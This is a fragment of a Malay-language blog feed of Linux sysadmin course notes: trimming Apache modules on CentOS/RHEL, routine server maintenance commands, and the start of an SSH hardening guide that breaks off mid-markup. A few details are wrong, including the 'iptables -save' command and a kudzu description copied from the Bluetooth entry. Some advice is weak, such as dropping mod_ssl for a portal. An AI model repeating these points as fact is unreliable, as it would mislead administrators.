center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ9Duqg0DI/AAAAAAAAAqA/JLqh6nTc6nY/s1600/apache_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ9Duqg0DI/AAAAAAAAAqA/JLqh6nTc6nY/s1600/apache_logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Lagi nota di INTAN BK. Kita biasa kalau setup OS CentOS atau RHEL akan guna template as web server yang sedia ada di dalam tu. Dah jalan ok biar je la.&lt;br /&gt;Kelemahannya :&lt;br /&gt;1) terdapat servis yang tidak digunakan pada web server kita tapi still install dan ini menyebabkan mudah terdedah kepada hackerz akibat vulnerable kerana tidak patch&lt;br /&gt;2) Biasa kita akan abaikan servis yang telah diinstall tapi tak digunakan selagi web server jalan ok. Tapi ia menyumbang kepada slow proses kepada web server tersebut.&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;&lt;br /&gt;Kaedahnya :&lt;br /&gt;1) Laksana yum remove // bertujuan untuk kenalpasti software apa yang bergantung pada software httpd&lt;br /&gt;# yum remove httpd&lt;br /&gt;Maka akan keluar result seperti berikut :&lt;br /&gt;---------------------------&lt;br /&gt;Removing:&lt;br /&gt;&amp;nbsp;httpd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.2.16-jason.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7.8 M&lt;br /&gt;Removing for dependencies:&lt;br /&gt;&amp;nbsp;httpd-manual&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.2.16-jason.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.5 M&lt;br /&gt;&amp;nbsp;mod_perl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.0.4-7.jason.2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9.5 M&lt;br /&gt;&amp;nbsp;mod_python&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.3.1-8.jason.2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.0 M&lt;br /&gt;&amp;nbsp;mod_security&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.5.12-1.el5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.3 M&lt;br /&gt;&amp;nbsp;mod_ssl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1:2.2.16-jason.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 723 k&lt;br /&gt;&amp;nbsp;php&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.2.14-jason.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9.4 M&lt;br /&gt;&amp;nbsp;webalizer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.01_10-30.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 251 k&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;==================================================================&lt;br /&gt;Install&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Package(s)&lt;br /&gt;Update&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Package(s)&lt;br /&gt;Remove&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 Package(s)&lt;br /&gt;&lt;br /&gt;Is this ok [y/N]:&lt;br /&gt;---------------------------&lt;br /&gt;&lt;br /&gt;* jangan taip Y+enter tapi taip N+enter atau enter sahaja&lt;br /&gt;&lt;br /&gt;2) Servis yang biasa guna untuk web server bagi jalankan PHP Application hanyalah httpd dan php sahaja.&lt;br /&gt;Selain tu adalah hanya option.&lt;br /&gt;- mod_security adalah mod utk buat filtering dari vulnerable // jika tak properly configure baik takyah guna kerana ianya akan menyebabkan pengguna slow akses kepada sistem&lt;br /&gt;- mod_perl adalah mod jika ada guna coding perl&lt;br /&gt;- mod_python adalah mod jika ada guna coding python&lt;br /&gt;- mod_ssl adalah mod jika ada guna https application. kalau takat portal je takyah le. Jika nak guna nanti install semula&lt;br /&gt;- httpd-manual adalah manual untuk konfigurasi httpd, tapi kita jarang sekali tengok, baik buang je&lt;br /&gt;- webalizer adalah software utk create statsitik public akses kepada web server, jika keperluan ada gunakanlah sebaiknya. jika tidak keluarkan sahaja.&lt;br /&gt;&lt;br /&gt;3) Buangkan software&lt;br /&gt;# yum remove mod_ssl mod_perl mod_python httpd-manual webalizer&lt;br /&gt;&lt;br /&gt;4) Taip yes dan tunggu sehingga selesai&lt;br /&gt;&lt;br /&gt;5) Done!&lt;br /&gt;&lt;br /&gt;Semoga berjaya&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2284934442997356598?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2284934442997356598/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2284934442997356598&amp;isPopup=true' title='2 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2284934442997356598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2284934442997356598'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/how-to-minimize-web-server-installation.html' title='How to minimize Web Server Installation'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ9Duqg0DI/AAAAAAAAAqA/JLqh6nTc6nY/s72-c/apache_logo.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6815628797381865447</id><published>2010-10-12T18:31:00.007+08:00</published><updated>2010-11-15T09:05:45.036+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Lots Of Tips to Maintain Linux Server</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TLQ4vxtGpxI/AAAAAAAAAp8/Kr4BDmXCOk8/s1600/windows-to-linux.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TLQ4vxtGpxI/AAAAAAAAAp8/Kr4BDmXCOk8/s320/windows-to-linux.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Lagi nota kursus di INTANBK. Aku tak reti nak letak tajuk apa sebenarnya. Tapi nak citer kaedah nak semak version software dlm server dan monitor aktiviti sedang dijalankan server dan configure server firewall, network, services guna GUI Command Line...&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL &lt;br /&gt;----------------------------------------------------------- &lt;br /&gt;Kaedah untuk semak version software di server :&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;# rpm -qa | grep mysql &lt;br /&gt;# rpm -qa | grep php&lt;br /&gt;# rpm -qa | grep kernel&lt;br /&gt;# rpm -qa | grep ssh&lt;br /&gt;# rpm -qa | grep http&lt;br /&gt;cth result : &lt;br /&gt;httpd-manual-2.2.16-jason.1&lt;br /&gt;jakarta-commons-httpclient-3.0-7jpp.1&lt;br /&gt;httpd-2.2.16-jason.1&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;&amp;nbsp;Kaedah untuk semak aktiviti atau port yang digunakan di server :&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;# netstat -nat // display svr run port apa&lt;br /&gt;# netstat -natup&amp;nbsp;// display svr run port apa dan keterangan nama port&lt;br /&gt;# netstat -natup | more // untuk pause display sekiranya panjang senarainya&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------&lt;br /&gt;Kaedah untuk buat konfigurasi pada server guna GUI CMDLine :&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;# setup&lt;br /&gt;Seterusnya ikut menu di dalamnya. Boleh edit services run di server, boleh edit config firewall, boleh edit network configuration, boleh edit timezone, boleh edit firewall configuration&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Kaedah untuk semak versi kernel server&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;# uname -a&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Kaedah untuk update software patch&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;# yum update&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Kaedah untuk buang x windows system&lt;br /&gt;---------------------------------------------------------------------------------- &lt;br /&gt;# yum groupremove 'X Window System'&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Kaedah untuk buka page baru apabil gunakan command line page dalam linux&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Klik Alt + F2&lt;br /&gt;&lt;br /&gt;* Untuk change page sebelumnya, kli F1&lt;br /&gt;* sebanyak 8 page boleh dibuka serentak iaitu dari F1 - F8&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Kaedah untuk kemaskini, tambah, delete crontab&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;# crontab -e //untuk edit file crontab (tambah / delete / edit)&lt;br /&gt;# crontab -l //senaraikan cron yang telah dibuat konfigurasi&lt;br /&gt;&lt;br /&gt;Apabila kita edit fail crontab, fail akan disimpan di /var/spool/cron&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Tengok polisi IPTables&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;# iptables -save&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Senarai servis yang tidak diperlukan dalam real live server&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;- servis berikut by default di enablekan, tapi kita boleh disablekannya untuk kurangkan load servis tak perlu di server&lt;br /&gt;- servis-servis lain ada yang by default telah disable&lt;br /&gt;&lt;br /&gt;1) apmd - apmd is used for monitoring battery status and logging it via  syslog(8). It can also be used for shutting down the machine when  the battery is low&lt;br /&gt;&lt;br /&gt;2) atd - Runs commands scheduled by the at command at the time  specified when at was run, and runs batch commands when the load  average is low enough.&lt;br /&gt;&lt;br /&gt;3) avahi - // semua berkaitan&lt;br /&gt;- This is a daemon which runs on client machines to perform  Zeroconf service discovery on a network. avahi-daemon must be  running on systems  that use Avahi for service discovery.  Avahi-daemon should not be running otherwise&lt;br /&gt;&lt;br /&gt;4) bluetooth - Bluetooth services for service discovery, authentication,  Human Interface Devices, etc.&lt;br /&gt;&lt;br /&gt;5) cups - Startup/shutdown script for the Common UNIX  Printing System (CUPS).&lt;br /&gt;&lt;br /&gt;6) firstboot - Firstboot is a druid style program that runs on the first time  a machine is booted after install.  It checks for the existence  of an /etc/sysconfig/firstboot file.  If it doesn't find the file,  then the firstboot program needs to run.  If it finds the file,  firstboot will not be run.&lt;br /&gt;&lt;br /&gt;7) gpm - GPM adds mouse support to text-based Linux applications such  as the Midnight Commander. It also allows mouse-based console  cut-and-paste operations, and includes support for pop-up  menus on the console.&lt;br /&gt;&lt;br /&gt;8) hidd - Bluetooth Human Interface Device Daemon. Provides keyboard,  mouse etc. functionality over Bluetooth.&lt;br /&gt;&lt;br /&gt;9) isdn - ISDN Modem driver&lt;br /&gt;&lt;br /&gt;10) * kudzu - Bluetooth Human Interface Device Daemon. Provides keyboard,  mouse etc. functionality over Bluetooth.&lt;br /&gt;&lt;br /&gt;11) * lvm2 - Starts and stops dmeventd monitoring for lvm2. Jika ada buat Software RAID di OS.&lt;br /&gt;&lt;br /&gt;12) mcstrans - his starts the SELinux Context Translation System Daemon&lt;br /&gt;&lt;br /&gt;13) mdmonitor - software RAID monitoring and management&lt;br /&gt;&lt;br /&gt;14) pcsd - The PC/SC smart card daemon is a resource manager for the  PC/SC lite and Musclecard frameworks.  It coordinates  communications with smart card readers, smart cards, and  cryptographic tokens that are connected to the system.&lt;br /&gt;&lt;br /&gt;15) readahead // semua berkaitan&lt;br /&gt;- This service causes the programs used during startup  to be loaded into memory before they are needed, thus improving startup performance&lt;br /&gt;&lt;br /&gt;16) restorecond // jika guna SELinux perlu guna&lt;br /&gt;-&amp;nbsp; &lt;label for="idx_60"&gt; restorecond uses inotify to look for creation of new files  listed in the /etc/selinux/restorecond.conf file, and restores the  correct security context.&lt;/label&gt;&lt;br /&gt;&lt;label for="idx_60"&gt;&amp;nbsp;&lt;/label&gt; &lt;br /&gt;&lt;br /&gt;17) rpc // semua berkaitan&lt;br /&gt;- Starts user-level daemon that manages RPCSEC GSS contexts  for the NFSv4 client.&lt;br /&gt;-&amp;nbsp; &lt;label for="idx_63"&gt; Starts user-level daemon for NFSv4 that maps user  names to UID and GID numbers.&lt;/label&gt;&lt;br /&gt;- Starts user-level daemon that manages RPCSEC GSS contexts  for the NFSv4 server&lt;br /&gt;&lt;br /&gt;18) * sendmail - Sendmail is a Mail Transport Agent, which is the program  that moves mail from one machine to another.&lt;br /&gt;&lt;br /&gt;19) setroubleshoot - This starts the SELinux Troubleshooting Daemon&lt;br /&gt;&lt;br /&gt;20) *yum-updatesd // jika guna alert new patch better on kan&lt;br /&gt;- This is a daemon which periodically checks for updates  and can send notifications via mail, dbus or syslog.&lt;br /&gt;&lt;br /&gt;* Jika diperlukan enablekan ia, kerana fungsi server adalah berbeza dan bergantung kepada aplikasi di dalamnya.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Move,create and remove file in linux&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;# mv (filename) (new location) //move a file to another location&lt;br /&gt;# cat (filename) //create a new file&lt;br /&gt;# nano (filename) //create a new file&lt;br /&gt;# rm (filename) //delete a file&lt;br /&gt;# rm -r (directory) // remove a director + semua didalamnya&lt;br /&gt;# rmdir (mydir) // remove a directory&lt;br /&gt;* tambahan selepas command tersebut&lt;br /&gt;-f &amp;gt; force&lt;br /&gt;-r &amp;gt; recursive&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;check last users login :&lt;br /&gt;&lt;br /&gt;# last&lt;br /&gt;# last | more //to pause view&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Tambah user baru :&lt;br /&gt;&lt;br /&gt;# useradd mohd&lt;br /&gt;# passwd mohd&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Kenalpasti sesuatu domain dari ip mana :&lt;br /&gt;&lt;br /&gt;# dig google.com. -t a&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Kenalpasti aktiviti di dalam server :&lt;br /&gt;&lt;br /&gt;# ps -aef | more&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Kenalpasti info folder dan fail berkenaan :&lt;br /&gt;&lt;br /&gt;# cat /etc/group&lt;br /&gt;# cat /etc/passwd&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Semoga berjaya!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6815628797381865447?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6815628797381865447/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6815628797381865447&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6815628797381865447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6815628797381865447'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/tips-to-maintain-linux-server.html' title='Lots Of Tips to Maintain Linux Server'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/TLQ4vxtGpxI/AAAAAAAAAp8/Kr4BDmXCOk8/s72-c/windows-to-linux.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8671798229299543246</id><published>2010-10-12T18:17:00.002+08:00</published><updated>2010-11-19T16:11:48.574+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Configure a Secured SSH</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ1X-k_JxI/AAAAAAAAAp4/PIm132OFMXg/s1600/ssh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="209" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ1X-k_JxI/AAAAAAAAAp4/PIm132OFMXg/s320/ssh.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Kali ni aku nak share kaedah yang aku belajar utk setup SSH agar lebih selamat. Aku dapat ilmu ni dari Kursus Keselamatan ICT di INTANBK.&lt;br /&gt;&lt;br /&gt;Bagi pengguna tegar Linux pasti biasa dengan linux ssh dan putty untuk buat kerja maintenance ke server linux masing-masing. Ada juga sesetengahnya terlalu open benarkan ssh akses by public ke server tersebut. Ini tindakan bahaya dan makan diri sebenarnya.&lt;br /&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table cellpadding="4" cellspacing="0"&gt;&lt;col width="256*"&gt;&lt;/col&gt;  &lt;tbody style="color: white;"&gt;&lt;tr&gt;   &lt;td bgcolor="#000000" style="border: 1px solid rgb(0, 0, 0); padding: 0.04in;" valign="TOP" width="100%"&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Lokasi    Fail Konfigurasi SSH&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/ssh/sshd_config  – F&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ail  Konfigurasi OpenSSH server&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/ssh/ssh_config  – &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Fail  Konfigurasi &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;OpenSSH  client&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;~/.ssh/  - &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Direktori  Konfigurasi Pengguna SSH&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;~/.ssh/authorized_keys  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;atau&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  ~/.ssh/authorized_keys – &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Senarai  Public Keys &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;(RSA  or DSA) &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;yang  boleh digunakan untuk login&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/nologin  – &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Sekiranya  fail ini ada, OpenSSH server menghalang sebarang login kepada server  selain pengguna root sahaja&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/hosts.allow  d&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;an&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  /etc/hosts.deny &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  Access controls lists &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;yang  dijanakan oleh &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tcp-wrappers  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ditetapkan  disini&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SSH  port &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;asal&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  : TCP 22&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table cellpadding="4" cellspacing="0"&gt;&lt;col width="256*"&gt;&lt;/col&gt;  &lt;tbody style="color: white;"&gt;&lt;tr&gt;   &lt;td bgcolor="#000000" style="border: 1px solid rgb(0, 0, 0); padding: 0.04in;" valign="TOP" width="100%"&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: 